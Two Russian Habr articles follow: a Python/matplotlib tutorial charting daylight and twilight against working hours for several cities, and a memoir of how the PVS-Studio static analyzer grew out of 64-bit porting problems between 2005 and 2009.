Для начала нам понадобятся данные, которые можно визуализировать. Я нашел подходящий набор [здесь](http://voshod-solnca.ru/). На странице мы видим две таблицы, содержащие данные о дате, восходе и заходе солнца, зените и продолжительности светового дня, а также данные о гражданских, навигационных и астрономических сумерках. Для работы нам понадобится время восхода и захода солнца, информация о гражданских сумерках, и, само собой дата, которую мы сможем представить на таймлайне.
Для удобства создадим папку проекта /sumerki, внутри неё создадим папку /input и скрипт приложения sumerki.py. В папку input мы положим 2 файла sumerki\_1.txt и sumerki\_2.txt, куда просто скопируем таблицы с сайта. Первые строки таблиц выглядят так:
```
1 января 09:00:39 12:33:54 16:07:09 07:06:29 +1:16
08:14:08 07:25:39 06:40:27 18:27:20 17:42:09 16:53:40
```
Данных из внешних источников нам вполне достаточно, теперь осталось обозначить время бодрствования и рабочее время. Не мудрствуя лукаво я решил взять следующие временные интервалы: 07:00:00 — 20:00:00 для бодрствования и 09:00:00 — 18:00:00 рабочий день.
Со структурой всё понятно. Давайте теперь немного кода на Python.
Сначала сделаем все необходимые импорты и осуществим небольшие настройки.
```
import os
import datetime
import pandas as pd
import matplotlib.pyplot as plt
import matplotlib.dates as mdates
from matplotlib import rc
# Создадим небольшую служебную функцию для преобразования строкового времени с число
def stn(dstr):
return mdates.datestr2num(dstr.tolist())
# Простой рецепт для решения проблемы отображения кириллицы в matplotlib
font = {'family': 'Verdana', 'weight': 'normal'}
rc('font', **font)
DIR = os.path.dirname('__File__')
```
Сформируем данные в pandas (на выходе получим 2 датафрейма, с которыми будем работать — S, W):
```
# Считаем данные из текстовых файлов и сохраним их в датафрейм с заранее известными столбцами
s1 = open(os.path.join(DIR, 'input', 'sumerki_1.txt'), 'r').read().split('\n')
s2 = open(os.path.join(DIR, 'input', 'sumerki_2.txt'), 'r').read().split('\n')
oday = datetime.datetime.strptime('01.01.2016', '%d.%m.%Y')
dates = [oday + datetime.timedelta(days=dt) for dt in range(len(s1))]
# От себя мы добавим столбцы с временем начала и окончания дня (0, 24)
s = [[dates[i[0]]] + s1[i[0]].split('\t') + s2[i[0]].split('\t') + ['00:00:01', '23:59:59'] for i in enumerate(s1)]
columns = ['datetime', 'date', 'voshod', 'zenit', 'zahod', 'dolgota', 'cng',
'sum1_from', 'sum2_from', 'sum3_from', 'sum3_to', 'sum2_to', 'sum1_to',
'0', '24']
S = pd.DataFrame(s, columns=columns)
# Сформироуем датафрейм, содержащий данные о дне и начале/конце рабочего дня (бодрствования)
w = [[dt, '07:00:00', '09:00:00', '18:00:00', '20:00:00'] for dt in dates]
columns = ['datetime', 'life_from', 'work_from', 'work_to', 'life_to']
W = pd.DataFrame(w, columns=columns)
```
Теперь нам остаётся только отобразить все полученные данные на графике. Для удобства, я постарался подобрать цвета — желтый для светового дня, оранжевый для сумерек, а голубоватый со звёздами для темного времени суток.
```
# Ну а теперь построим график
fig, ax = plt.subplots()
plt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%Y-%m'))
plt.gca().xaxis.set_major_locator(mdates.MonthLocator())
plt.gcf().autofmt_xdate()
# Отобразим нужные данные на графике
l1, = ax.plot(S['datetime'], stn(S['voshod']), 'r-', label='восход')
l2, = ax.plot(S['datetime'], stn(S['zahod']), 'b-', label='заход')
l3, = ax.plot(S['datetime'], stn(S['sum1_from']), 'g-', label='сумерки (от)')
l4, = ax.plot(S['datetime'], stn(S['sum1_to']), 'm-', label='сумерки (до)')
l5, = ax.plot(W['datetime'], stn(W['work_from']), 'k-', label='рабочее время')
l6, = ax.plot(S['datetime'], stn(W['work_to']), 'k-', label='рабочее время')
l7, = ax.plot(S['datetime'], stn(W['life_from']), 'k-', label='время бодрствования')
l8, = ax.plot(S['datetime'], stn(W['life_to']), 'k-', label='время бодрствования')
# Заполним пространство между
# Восход-заход
plt.fill_between(S['datetime'].tolist(), stn(S['voshod']), stn(S['zahod']), alpha=0.4, color='yellow', hatch='.')
# Cумерки
plt.fill_between(S['datetime'].tolist(), stn(S['sum1_from']), stn(S['voshod']), alpha=0.4, color='orange', hatch='.')
plt.fill_between(S['datetime'].tolist(), stn(S['zahod']), stn(S['sum1_to']), alpha=0.4, color='orange', hatch='.')
# Ночь
plt.fill_between(S['datetime'].tolist(), stn(S['0']), stn(S['sum1_from']), alpha=0.4, color='blue', hatch='*')
plt.fill_between(S['datetime'].tolist(), stn(S['sum1_to']), stn(S['24']), alpha=0.4, color='blue', hatch='*')
# Рабочее время и время бодрствования
plt.fill_between(W['datetime'].tolist(), stn(W['work_from']), stn(W['work_to']), alpha=0.1, color='blue', hatch='/')
plt.fill_between(W['datetime'].tolist(), stn(W['life_from']), stn(W['life_to']), alpha=0.1, color='blue', hatch='/')
# Форматирование, заголовок и легенда
ax.yaxis_date()
ax.xaxis_date()
ax.set_xlabel("Дата")
ax.set_ylabel("Время")
plt.title('График зависимости рабочего времени (времени бодрствования) от светового дня.')
plt.legend(handles=[l1, l2, l3, l4, l6, l8], loc=1, fontsize=11)
fig.autofmt_xdate()
# Ну и покажем график уже наконец
plt.show()
```
**UPD (13.01.2016)**
По просьбе [myxo](http://habrahabr.ru/users/myxo/) привожу несколько графиков для разных широт. В исходной статье график Московский (UTC +3).
**Калининград (UTC+2)**
**Санкт-Петербург(UTC+3)**
**Екатеринбург(UTC+5)**
**Новосибирск(UTC+6)**
Просматривая эти графики, выводы напрашиваются сами:
* Чем восточнее находится город, тем раньше светает и раньше темнеет
* Чем севернее находится город, тем более растянут световой день
Вместе с выводами приходят и мысли о том, какой город больше подходит человеку. Мне, например, больше всего импонирует Екатеринбург — очень уж приятно в течение всего года вставать в уже светлое время дня, особенно если есть привычка рано вставать, как у меня. Своя прелесть есть и у горячо любимого мной Санкт-Петербурга, который импонирует мне не только своими «белыми ночами», но и атмосферой и своим ни с чем не сравнимым шармом.
Спасибо за внимание и комментарии! | https://habr.com/ru/post/274927/ | null | ru | null |
# Как 10 лет назад начинался проект PVS-Studio

Десять лет назад мы создали простенькую утилиту под названием Viva64, предназначенную для выявления некоторых проблем в 64-битном коде. Так было заложено начало статического анализатора кода PVS-Studio. Хотя с того момента прошло 10 лет, что-то более-менее у нас, как у компании, стало получаться только несколько лет назад. Эта статья — не история успеха, так как мы считаем, что всё интересное только начинается. Однако, 10 лет — это повод подвести промежуточные итоги и рассказать нашим читателям как все начиналось, какие нас ждали ошибки, и что на данный момент у нас получилось. Местами я, возможно, буду не совсем хронологически точен при описании событий. Моя память не идеальна, а 10 лет — это длительный промежуток времени. Желаю всем приятного чтения.
Предыстория
-----------
Я (Андрей Карпов) и Евгений Рыжков работали в маленькой тульской компании, занимающейся созданием пакетов численного моделирования и визуализации данных. Работа была интересная и удавалось прикоснуться к передовым по тем временам технологиям. Например, работая с задачами по визуализации данных, мы экспериментировали с 3D очками, работающими по принципу поочередного закрытия глаз. Картинки выводились на ЭЛТ монитор, который показывал изображение то для левого, то для правого глаза. Думаю, мало кто видел такую древность: очки, подключенные к компьютеру по проводу, и ЭЛТ монитор, работающий в чересстрочном режиме (100 кадров в секунду), чтобы на каждый глаз приходилось хотя бы по 50 кадров. Выглядело, на самом деле, всё это ужасно, и моментально начинали болеть глаза, так что ничего удивительного, что широко эта технология не прижилась.
Ещё, например, мы занимались самостоятельным изготовлением бюджетного кластера на основании обыкновенных материнских плат для компьютера. Использовались платы с двумя физическими AMD процессорами. Это сейчас никого не удивишь процессором с 8 ядрами. Тогда же в тульском магазине материнская плата с двумя ядрами — это было чудо чудное, диво дивное. Мы объединили 4 такие платы и получили 8-ядерный мини-кластер, на котором вели различные расчёты. Я непосредственно участвовал в пайке этого устройства:

*Рисунок 1. Собранный из подручных материалов мини-кластер. Характеристики: 8 процессоров, 16 гигабайт памяти.*
Получилось не совсем хорошо, так как не удалось как следует решить вопрос вентиляции и пришлось, пожертвовав красотой, снять задние крышки. Впрочем, со своими задачами кластер справлялся.
А ещё мы столкнулись с первыми 64-битными компьютерами, доступными для обыкновенных пользователей. Это были машины с процессорами [Opteron](https://ru.wikipedia.org/wiki/Opteron) и огромным, как мне тогда казалось, объемом памяти в 4 гигабайта. Вот с этих-то машин всё и началось.
В 2005 году вышла Visual Studio 2005, в которой стало возможным разрабатывать 64-битные программы для 64-битной архитектуры (в те времена она называлась AMD64). Помню ещё я ездил в Москву на конференцию компании Microsoft, где демонстрировали как теперь легко и просто можно перекомпилировать код под 64-битный процессор. В общем, 64-битность — это был новый важный тренд в развитии компьютеров.
Конечно, и до этого были 64-битные микропроцессоры. Например, можно вспомнить тот же [Itanium](https://ru.wikipedia.org/wiki/Itanium). Но именно появление AMD64 оказало существенное воздействие на IT-индустрию: появились 64-битные процессоры, доступные рядовому пользователю, а прикладные Windows-программисты получили возможность писать для этих процессоров программы в привычной среде разработки Visual C++.
В задачах визуализации и численного моделирования большой объём памяти крайне важен. Поэтому, сразу с выходом Visual Studio 2005, мы начали работы по созданию 64-битных версий приложений.
Неудивительно, что мы оказались одними из первопроходцев, адаптирующих свой прикладной код к 64-битным процессорам и, в результате, наступившими на множество новых граблей. Например, выяснилось, что используемые для дистрибуции программ аппаратные ключи защиты ещё не совсем готовы к 64-битности. Не помню, что именно было не так, но пришлось повозиться с новым вариантом защиты кода. Ещё были какие-то нюансы с программой для создания дистрибутивов. Но всё это — мелочи. Самое интересное ждало нас дальше.
Компания Microsoft не обманула, нам действительно достаточно быстро удалось перекомпилировать свои приложения в режиме x64. На это ушло около 3-х недель. И как нам тогда казалось, мы получили 64-битный дистрибутив наших приложений.
Ха! Вот только программы работали неправильно. Причем в их неправильной работе была какая-то подлость. Программы успешно проходили все внутренние тесты, корректно работали на тестовых данных. Но когда мы хотели воспользоваться всей мощью 64-битного приложения, начинались странные непонятные ошибки. Программа начинала глючить, когда выделяла более 10 гигабайт памяти для обработки больших наборов входных данных.

*Рисунок 2. У меня не сохранилось картинок, демонстрирующих ошибки визуализации в 64-битном приложении. Я не мог предположить, что через много лет они мне понадобятся. Но эта картинка очень похожа на результат ошибок, которые я наблюдал. Неожиданно могла отрисоваться только часть объекта.*
Сейчас-то я знаю все те причины, которые приводили к такому странному поведению программ. Где-то указатель превращали в *int*, а потом обратно в указатель. Если указатель ссылался на объект в младших 4 гигабайтах памяти, то всё было хорошо. А вот если объект создавался за границей в 4 гигабайта, то проблемы были неизбежны.
Были ошибки и в вычислениях вида:
```
unsigned int X, Y, Z;
Uint64 Q = X * Y * Z;
```
Хотя результат является 64-битной переменной, это не помогает. Переполнение возникает при перемножении 32-битных переменных.
Естественно, есть и множество других способов отстрелить себе ногу. Подробнее со всеми этими бедами можно познакомиться вот здесь: "[Коллекция примеров 64-битных ошибок в реальных программах](http://www.viva64.com/ru/a/0065/)".
Тогда же, в 2005 году, происходящее с нашими программами выглядело непонятной магией. И самое главное, в тот момент мы не понимали, как нам найти и устранить дефекты. Все наши способы неожиданно нам отказали.
Повторю, что юнит-тесты работают корректно и ничего не выявляют. На маленьких тестовых данных тоже всё хорошо. Отлаживаться на больших объемах данных практически невозможно. Во-первых, это очень медленно. Если релиз программы должен работать полчаса, чтобы начали проявлять себя ошибки, то отладочный вариант программы работает долгие часы. Во-вторых, непонятно, а что, собственно, в отладчике смотреть. Не изучать же миллиарды итераций цикла, чтобы найти, когда что-то начинает идти не так. Программисты всегда при отладке стараются использовать минимальный набор данных для воспроизведения ошибки. А здесь на маленьких наборах всё хорошо.
Мы обратились к популярной тогда программе BoundsChecker, которая до этого не раз нам помогала. Вот только оказалось, что она ещё не умеет работать с 64-битными приложениями. Впрочем, если бы и работала, не думаю, что нам это сильно помогло. Скорость программы при использовании BoundsChecker замедляется в десятки раз. Думаю, для наших случаев это вылилось бы в дни ожидания.
Мы поняли, что зашли тупик: знаем, что в программе есть ошибки, но не знаем, как их искать.
Наша команда начала изучать сложившуюся ситуацию подробнее. Проводили эксперименты, читали интернет. Постепенно стало проясняться, с чем мы столкнулись. Мы начали понимать, какие ошибки живут в наших программах, вот только легче от этого не стало. Допустим, мы подозреваем, что в некоторых ошибках виноваты переполнения в арифметических операциях. Ну и что дальше? Как их найти, эти места?
От безысходности мы начали искать новые пути. Рассматривался вариант заменить все целочисленные типы на специальные классы, такие как SafeInt. Это позволило бы, по крайней мере, легко находить целочисленные переполнения. Однако, оказалось, что сделать это для существующих приложений весьма непросто.
Потом мы познакомились с некоторыми инструментами статического анализа кода и даже купили [Gimpel PC-Lint](http://www.gimpel.com/html/index.htm). Но этот анализатор почти ничем нам не помог. Он не был ориентирован на поиск 64-битных ошибок.
И тут мы осознали последствия того, что мы первопроходцы. Мы столкнулись с 64-битными ошибками, для поиска которых мир ещё не предложил никаких решений.
Как же мы вышли из положения? Мы решили прочитать код. Конечно, не весь. Мы настроили PC-Lint так, чтобы он выдавал предупреждения на все явные приведения типов, на неявное расширение *int* в 64-битные типы и так далее. Конечно, получилось невероятное количество бесполезных сообщений, но это всё равно лучше, чем просто читать весь код от начала до конца.
Мы изучили потенциально опасные места, на которые, после специальной настройки, нам указывал PC-Lint. Полностью прочитали наиболее важные модули и фукнции. И вот, по прошествии несколько месяцев получили, наконец, стабильную версию 64-битных приложений.
Как вы, возможно, догадались, задачей портирования на 64-битную систему занимались два человека: я и Евгений Рыжков.
Выводы, которые мы тогда сделали:
* с переходом на 64-битные системы люди будут сталкиваться в своём коде с 64-битными ошибками;
* эти ошибки очень сложно искать;
* нет никаких инструментов, помогающих находить такие ошибки.
Приблизительно в это же время происходило другое судьбоносное событие. Евгений Рыжков увлекся чтением книг, посвящённых стартапам и новомодному направлению ISV (Independent software vendor). Впрочем, слова «стартап» тогда, кажется, ещё не было. Во всяком случае в том смысле, в котором есть сейчас.
11 лет назад индустрия телефонов ещё не была развита, не существовало App Store и тому подобного. Если бы существовало, Евгений, возможно, занялся бы созданием игр для телефонов и планшетов. Тогда же он был ограничен обыкновенным компьютером. Он попробовал сделать приложение — раскраску для детей, и попробовал продавать. В целом, получилось всё реализовать и даже сделать несколько продаж, но, конечно, о каком-то успехе и доходах с этого начинания говорить не приходилось. Он начал искать новое применение своих сил.
У меня тоже существовала предпринимательская жилка, и мне хотелось попробовать создать что-то своё. Однако, на тот момент все эти мысли были нечёткими и не находили какого-то реального воплощения. И тут Евгений предложил подумать о создании чего-то этакого, что покорит мир и сделает нас богатыми и известными. В общем заразил меня классической мечтой стартапера. И мы начали думать.
Viva64 версии 1.0
-----------------
Итак, имеются:
1. два человека, которые хотят организовать какой-то стартап;
2. эти два человека знакомы с существованием проблемы поиска ошибок в 64-битных программах на языке С++.
Казалось бы, ну и что тут думать? Надо делать и продавать инструмент для поиска 64-битных ошибок. Однако, мы достаточно долго шли к этой идее. Нам казалось, что это сложная, непонятная задача, которую никто не знает как решать, раз ещё нет инструментария.
Вначале мы перебирали какие-то простые и понятные идеи. Сайты делать не хотелось. Хотелось создавать именно законченный программный продукт. Но вот что предложить миру – мы долго не понимали. Хотелось выбрать направление, в котором может быть реальный спрос, а не только абстрактная красивая идея.
Через некоторое время мы всё-таки начали размышлять над инструментом поиска 64-битных ошибок в программах на языке C и C++. Для начала мы прикидывали, что именно это должно быть. Вначале мы думали над каким-то динамическим анализатором, типа BoundsChecker. Однако, это было слишком сложно, плюс было непонятно, как сделать поиск ошибок некоторых разновидностей.
Постепенно нам стало понятно, что это должен быть статический анализатор кода. Т.е. программа, которая указывает программистам на участки кода, которые надо проверить. Следовало создать инструмент типа PC-Lint или Parasoft C++test, но только ориентированный на поиск специфичных типов ошибок.
Важным вопросом было, посильно ли вообще нам сделать такой инструмент, все-таки речь шла о разборе С++ кода. Пришлось изучать и этот вопрос.
Никакого LLVM в те времена не существовало, поэтому мы рассматривали вариант взять за основу компилятор GCC или какую-то из открытых бесплатных библиотек. Понятно, что ещё были платные библиотеки разбора C++ кода, но мы их даже не рассматривали. GCC нам показался слишком сложным и тяжеловесным, плюс было непонятно, можно ли на его основе как-то создать закрытое приложение. Открытое делать не хотелось, так как непонятно, как на нем заработать. В итоге выбор пал на малоизвестную библиотеку OpenC++. К этому моменту библиотека была заброшена, но нас это не остановило, тем более что она показалась весьма простой, и мы очень быстро смогли написать с её помощью простейшую пробную диагностику.
И вот мы определились и решились, что будем делать инструмент поиска 64-битных ошибок в C/C++ коде. Фактически, это будет классический статический анализатор кода, но в то время мы старались не использовать эти слова. Нам казалось, что это только собьет с толку людей, которые будут искать в интернете «инструмент для поиска 64-битных ошибок».
Имея опыт общения с Gimpel PC-Lint, мы сразу решили, что будем делать инструмент как плагин к Visual Studio. В те времена, чтобы использовать PC-Lint из Visual Studio, нужно было сплясать с бубном. Я даже написал потом небольшую заметку на эту тему, которая, кстати, пользовалась популярностью: [Установка PC-Lint и его использование в Visual Studio 2005](http://www.viva64.com/ru/a/0033/). В общем, мы считали, что подобная интеграция никуда не годится и надо сразу предоставить пользователям удобный интерфейс. Т.е. человек должен установить инструмент и сразу иметь возможность приступить к проверке проекта. Именно этому принципу наша команда следует до сих пор и считает его очень важным.
В то время мы представляли себе Viva64 как простенькую утилиту, которую будем продавать всего за $200, но массово. Мы думали, что на этот инструмент должен резко появиться спрос в связи с глобальным переписыванием программ для 64-битных процессоров. План был такой: делаем простой инструмент, на который скоро будет большой спрос, продаём его года 3-4. Затем, заработав денег на этом гениальном предвидении, займемся каким-то другим проектом. В общем юношеские фантазии о том, какую крутую идею мы придумали и как быстро на ней поднимемся. Даже вот такой график нарисовали о том, как, на наш взгляд, должен выглядеть спрос:

*Рисунок 3. В 2006 году Евгений начертил вот такой график предполагаемой востребованности решения для проверки С++ кода на совместимость с платформой AMD64. Предполагалось, что в 2010 спрос пойдёт на убыль и, вдобавок, Microsoft выпустит какое-то стандартное решение, которое вытеснит анализатор Viva64 с рынка. Однако, за 2-3 года мы надеялись снять «сливки» и накопить денег для будущих начинаний.*
Воодушевив себя мечтами об успехе, мы приступили к программированию, созданию дистрибутива и первой версии сайта. Делалось всё это по вечерам, так как в дневное время мы по-прежнему трудились в офисе на работе. Путь от идеи до первой версии занял около года.
И вот состоялось знаковое событие: 31 декабря 2006 года мы выложили первый публичный релиз Viva64 версии 1.00 в интернете. Помню Евгений говорил мне, что выложить надо обязательно до нового года, чтобы в истории версий фигурировал 2006 год. Пользователям будет казаться, что инструмент существует уже хотя-бы год, и это будет придавать ему солидности. Сейчас, по прошествии длинного пути в 10 лет, все это выглядит наивным, но тогда всё это казалось очень важным.
Бюджет создания первой версии анализатора и сайта составил 43200 рублей. Естественно, наше время и силы здесь не учтены. Это были дополнительные расходы. Чтобы легче было понять размер суммы, пересчитаем по курсу доллара тех времен и получим $1710. Можно сказать, что мы все сделали практически без трат.
Начиная с 2007 года, мы начали пробовать продавать наш инструмент, постепенно его усовершенствуя. Работы прибавилось ещё больше. Помимо программирования на прежней работе и программирования анализатора, добавилась работа по продвижению Viva64 в среде программистов. Я и Евгений начали учиться писать статьи, общаться на форумах, пробовать какие-то варианты платной рекламы.
Всё это очень быстро истощало наши моральные и физические силы. Вдобавок, на прежней работе все стало не так светло и радужно. Мы поняли, что больше не можем работать в таком режиме и уволились, временно став безработными.
А продажи всё не шли и не шли. Вернее, что-то чуть-чуть мы сумели продать, но столь мало, что про это даже нет смысла говорить. Мы даже не пробовали вывести деньги, скопившиеся на счету реселлера, так как они бы ничем нам не помогли.
Это был трудный этап. Денежные запасы таяли, а пополнять их было неоткуда. Был большой соблазн всё бросить и просто устроиться куда-то на работу. Но мы держались. Нас успокаивала мысль, что программисты всегда везде востребованы, и, если уж совсем всё станет грустно, мы в течение недели куда-нибудь да трудоустроимся.
Мы искали какие-то варианты найти деньги, чтобы продолжить разработку и верили, что надо продержаться чуть-чуть и начнется рост спроса на наш инструмент. Я уже плохо помню наши хаотичные действия того времени. Помню, например, поход к Сергею Лисицыну в компанию AutomatedQA, офис разработки которой расположен в Туле. Мы пытались заинтересовать его нашими наработками. Но то, чем мы занимались, как-то ни у кого не встречало интереса. Хотя, возможно, мы просто стучались не в те двери или не умели рассказать о себе.
Надо было что-то решать, так как проект Viva64 упрямо отказывался становиться успешным и прибыльным. Мы начали искать подработку в виде аутсорса. Мы брались за всё подряд, что попадалось под руку. Мы успели посотрудничать с компаниями Ingate и Intelsys. Затем мы приняли участие в большом проекте одной итальянской компании. Это была программа для зубных техников, занимающихся изготовлением зубных протезов. На компьютере проектировался зубной мост или коронка, затем специальный станок её вытачивал. Фактически, это была сильно специализированная CAD система. Пришлось вспоминать раздел математики, связанный с матрицами поворота и преобразованием изображений. А заодно узнать, что такое NURBS поверхности.

*Рисунок 4. Один из этапов работы с отсканированной челюстью для создания моста. Обратите внимание, что слева не хватает зубов, а по краям два зуба уже обточены, чтобы можно было проектировать мост, который на них будет крепиться.*
Опять начались тяжелые трудовые дни. 8 часов надо посвятить работе над CAD системой, а затем ещё, на сколько хватит сил, заниматься усовершенствованием Viva64, сайта, что-то делать по продвижению. Конечно, теперь не надо было тратить время на поездки в офис, так как мы работали дома. Но ещё неизвестно, что тяжелее. Сидеть безвылазно целыми днями за компьютером очень тяжело. Но, видимо, только так что-то и получается сделать, если хочется вырваться из круговорота однотипных будней. Чтобы произошли изменения, надо начать работать ещё больше.
Популярность проекта Viva64 постепенно росла, но крайне медленно. Мы начали понимать, что никакого быстрого старта не получилось. Но всё ещё наивно надеялись, что он возможен, ещё чуть-чуть и 64-битность начнёт массово волновать программистов.
Забегая вперед скажу, что у темы 64-битнойсти так никогда и не было всплеска. Был очень медленный постепенный переход от 32-битных к 64-битным приложениям. Он идёт и сейчас. До сих пор некоторые клиенты выбирают PVS-Studio, исключительно из-за того, что в нём есть диагностики для выявления проблем, связанных с 64-битностью.
Получается, что с 64-битностью мы одновременно и не ошиблись, и ошиблись. Мы не ошиблись в том смысле, что проблема миграции большой кодовой базы на 64-битную платформу действительно существует. За 10 лет мы продали немало лицензий Viva64, а потом и PVS-Studio для поиска 64-битных ошибок. Но мы ошиблись в оценке временных интервалов. Мы думали, что переход будет активно происходить 2-3 года, и ещё пару лет будет спад. И, исходя именно из этих соображений, начинали проект. Мы рассчитывали на спринт, а ввязались в марафон, в котором участвуем вот уже 10 лет.
Однако, это сейчас мы понимаем, что к чему. В то время мы продолжали верить в «64-битную тему» и занимались развитием анализатора.
Старт 2008, точка невозврата
----------------------------
И вот, в 2008 году судьба нас привела к государственной программе Старт. Вернее, готовиться мы к ней начали в 2007 году, а финансирование получили в 2008. В двух словах расскажу, что это такое. Цитата с сайта:
«Цель Программы — содействие инноваторам, стремящимся разработать и освоить производство нового товара, изделия, технологии или услуги с использованием результатов своих научно-технологических исследований, находящихся на начальной стадии развития и имеющих большой потенциал коммерциализации. Следует иметь в виду, что программа „Старт“ в первую очередь ориентирована на инициативных научных работников, желающих на основе своих инновационных идей создать устойчиво работающий бизнес».
Если совсем простыми словами, то дело обстоит так: вы рассказываете об инновационном проекте. Вам дают грант на его осуществление и проверяют, что вы достигаете заявленных результатов. Если все хорошо, то финансирование может быть продлено на второй, а затем третий год. Кстати, [программа](http://fasie.ru/programs/programma-start/) действует и сейчас.
У нас осталось двойственное чувство от участия в этой программе. С одной стороны, она слишком бюрократизирована и требует соблюдения множества формальностей. С другой стороны, эта программа стимулирует перейти на новый уровень. В целом, я дам положительную оценку этой задумке. Участие в этой программе дало своего рода пинок нам под зад по многим направлениям.
Для участия в программе требуется создать ООО. Далее, выделяются небольшие деньги (тогда это было 750 000 рублей на год). Но даже эти деньги потратить не так легко. Нельзя просто взять и накупить, например, компьютеров и рекламных баннеров на сайтах. А не потратить нельзя, да и глупо. В результате, необходимость что-то делать с деньгами привела к тому, что мы сняли первый офис. У нас появилось два первых сотрудника. Было куплено для офиса что-то из мебели и так далее.

*Рисунок 5. ООО «СиПроВер», 2008 год. Первый день в первом собственном офисе.*
Итого, участие в программе Старт заставило нас выйти из дома и начать не играть в проект Viva64, а реально им заниматься. Старт подтолкнул нас к регистрации ООО, найму первых сотрудников, и вообще заставил чувствовать себя настоящими организаторами компании.
В этом основная ценность этой программы для нас. Она сорганизовала нас и заставила думать о себе не просто как о программистах с интересным техническим проектом, а как о предпринимателях. Эта программа стала своего рода катализатором нашего проекта. Она заставила выйти из зоны комфорта и начать заниматься новыми вопросами и задачами. За это спасибо правительству и всем, кто организует эту программу.
На этом хорошее заканчивается. Надо и о плохом. Это ужасная бюрократия, и множество дней уходит на подготовку технических и бухгалтерских отчётов. Деньги потратить на то, что действительно нужно, получается редко. В результате приходится использовать деньги хоть и для полезных, но второстепенных вещей. Это сложно объяснить, надо самому попробовать, чтобы прочувствовать. Но поверьте, что мороки и ограничений очень много. Понятно, что все эти ограничения сделаны не просто так, а чтобы воровали поменьше, показывая только фикцию работы. Однако, честным участникам это слабое утешение в их мучениях.
Как я думаю, вы уже поняли: выделенные фондом деньги вовсе не покрыли все необходимые расходы. Мы по-прежнему занимались аутсорсом на «зубную тему», но теперь уже находясь в офисе. В очередной раз работы только прибавилось. Помимо аутсорса, развития анализатора, его продвижения, теперь добавилась работа с фондом: подготовка отчетов и поездки в Москву для их сдачи.
Это был «Ад». И когда заканчивался 2008 год, мы решили, что не будем пытаться продлить наше участие в программе «Старт». Слишком много отнимает бюрократия, причем время и силы, которые мы на неё тратим, расходуются впустую. В это время начали потихоньку идти какие-то продажи Viva64, и мы видели, что явно уделяем проекту меньше сил, чем могли бы. Мы решили, что лучше затянем пояса, но зато будем больше заниматься перспективными направлениями, а не печатью талмудов отчётов. Мы не стали подавать заявку на следующий год. Со стороны такое решение, возможно, покажется глупым. Но я уверен, что тогда мы поступили правильно и, возможно, сэкономили себе 1 или 2 года.
Я упомянул, что начались какие-то продажи Viva64. Да, именно так. Причем мы начали постепенно повышать цену, так как клиентами были крупные компании. Именно тогда закралось подозрение, что мы делаем продукт не для программистов, а для компаний. Впрочем, до осознания того, что мы B2B, было ещё далеко.
VivaMP, первая ошибка
---------------------
За десять лет мы допустили множество ошибок. Про мелкие рассказывать я не буду, так как это, во-первых, не очень интересно, а, во-вторых, я уже почти всё позабыл. В качестве примера такого мелкого ляпа могу вспомнить, что первый год наше ООО работало не по упрощенной системе налогообложения, а по общей. Мы не знали, что надо подать заявление о переводе на упрощенную систему в первые 5 дней — типичная ошибка новичков. Бедой это не было, так как в первый год ООО заработало мало денег, так что и потеряло тоже крайне мало.
Так что давайте поговорим про более эпические ляпы. Первым из них стал проект VivaMP. Мы начали этот проект ещё в 2008 году, но первый релиз состоялся в марте 2009 года.
Итак, мы уже смирились, что 64-бита не дали нам быстрого «взлёта», и начали искать новое направление, где можем опередить других. И как нам казалось — нашли.
В 2008 году стали массово появляться многоядерные процессоры. На повестке дня программистов стоял вопрос: какая технология будет доминировать в сфере разработки параллельных программ на языке C и C++? Варианты были разные: MPI, OpenMP, какие-то уже существующие библиотеки, или которые могли вскоре появиться.
В то время компания Intel продвигала технологию OpenMP. По крайней мере, нам так казалось. И мы решили повторить рисковый эксперимент: создать инструмент статического анализа кода для параллельных программ, построенных на технологии OpenMP. Вообще, статический анализ кода параллельных программ — задача неблагодарная и в общем случае не решаемая. Здесь царствуют динамические анализаторы кода. Хоть какой-то статический анализ параллельных программ возможен, только если код программы специальным образом размечен, чтобы подсказать анализатору, какие блоки будут выполняться параллельно, а какие нет. Здесь технология OpenMP крайне удачна для анализатора. Директивы "#pragma omp ...." и есть та самая, так необходимая разметка для анализатора.
Мы подробно изучили тему программирования с помощью OpenMP и убедились, что есть ошибки, которые можно выявлять статическим анализом кода. Интересующиеся могут познакомиться с нашей статьёй: "[32 подводных камня OpenMP при программировании на Си++](http://www.viva64.com/ru/a/0054/)".
В целом, новая тема была выбрана неверно. Совсем неверно. Если с 64-битностью интерес был и есть, пусть и не такой большой, как хотелось, то в случае OpenMP интереса не было совсем.
Причин для невезения, видимо, было несколько:
1. Технология OpenMP не стала мейнстримом. Она занимает скромную позицию наравне с другими технологиями параллельного программирования.
2. Из пункта один следует, что не так много программистов используют OpenMP в своих проектах. Следовательно, спрос в любом случае будет мал. Помимо этого, мы, видимо, не смогли выйти на эту группу разработчиков и донести до них информацию о существовании инструмента VivaMP.
3. Статический анализ для поиска ошибок в параллельных программах всё равно слаб и сильно проигрывает другим инструментам.
Проект VivaMP не задался. Он был просто никому не нужен. В почте практически не было вопросов об этом анализаторе или сообщений об ошибках в нём. Мир просто проигнорировал его существование
VivaMP в дальнейшем был интегрирован в PVS-Studio, а в 2014 удалён. Стандарт OpenMP продолжал развиваться, в нем появлялись новые возможности и новые ключевые слова. Их надо было поддерживать, а смысла это делать для мертворожденного инструмента не было. Только трата сил и никакой пользы. Мы собрались с духом и удалили эту часть анализатора.
VivaMP — первый наш большой промах. Все-таки создать и продвинуть новый инструмент — это большая работа и много потраченного времени.
Несмотря на эту неудачу, в 2009 году мы нашли в себе смелость и силы отказаться от заказной разработки и полностью посвятить себя развитию анализаторов. Viva64 начал приносить, хоть и слабый, но достаточный для автономного существования доход. В это время наша прибыль составляла намного меньше, чем мы могли бы получать, просто устроившись куда-то программистами.
PVS-Studio с анализатором общего назначения, первые успехи
----------------------------------------------------------
В 2009 году мы объединили Viva64 и VivaMP в единый продукт в надежде что диагностики VivaMP будут покупать как довесок к 64-битным диагностикам. Результата это никакого не дало, так что подробнее рассказывать про это смысла нет.
Тем не менее, стоит отметить 2009 год, как важную веху в жизни нашей компании. Именно в этом году появился анализатор PVS-Studio, который вначале представлял собой как раз объединение Viva64 и VivaMP.
Кстати, заодно, давайте поговорим о названиях. Анализатор Viva64 появился как желание выразить мысль: «Да здравствует 64-битный мир!». А именно само слово «viva» было навеяно недавним прослушиванием мною песни «Viva Forever». Я предложил использовать именно такое название Евгению, и он согласился. Аналогичным образом был назван и наш сайт [www.viva64.com](http://www.viva64.com), который мы никогда не видели смысла переименовывать, так как его название постепенно стало популярным.
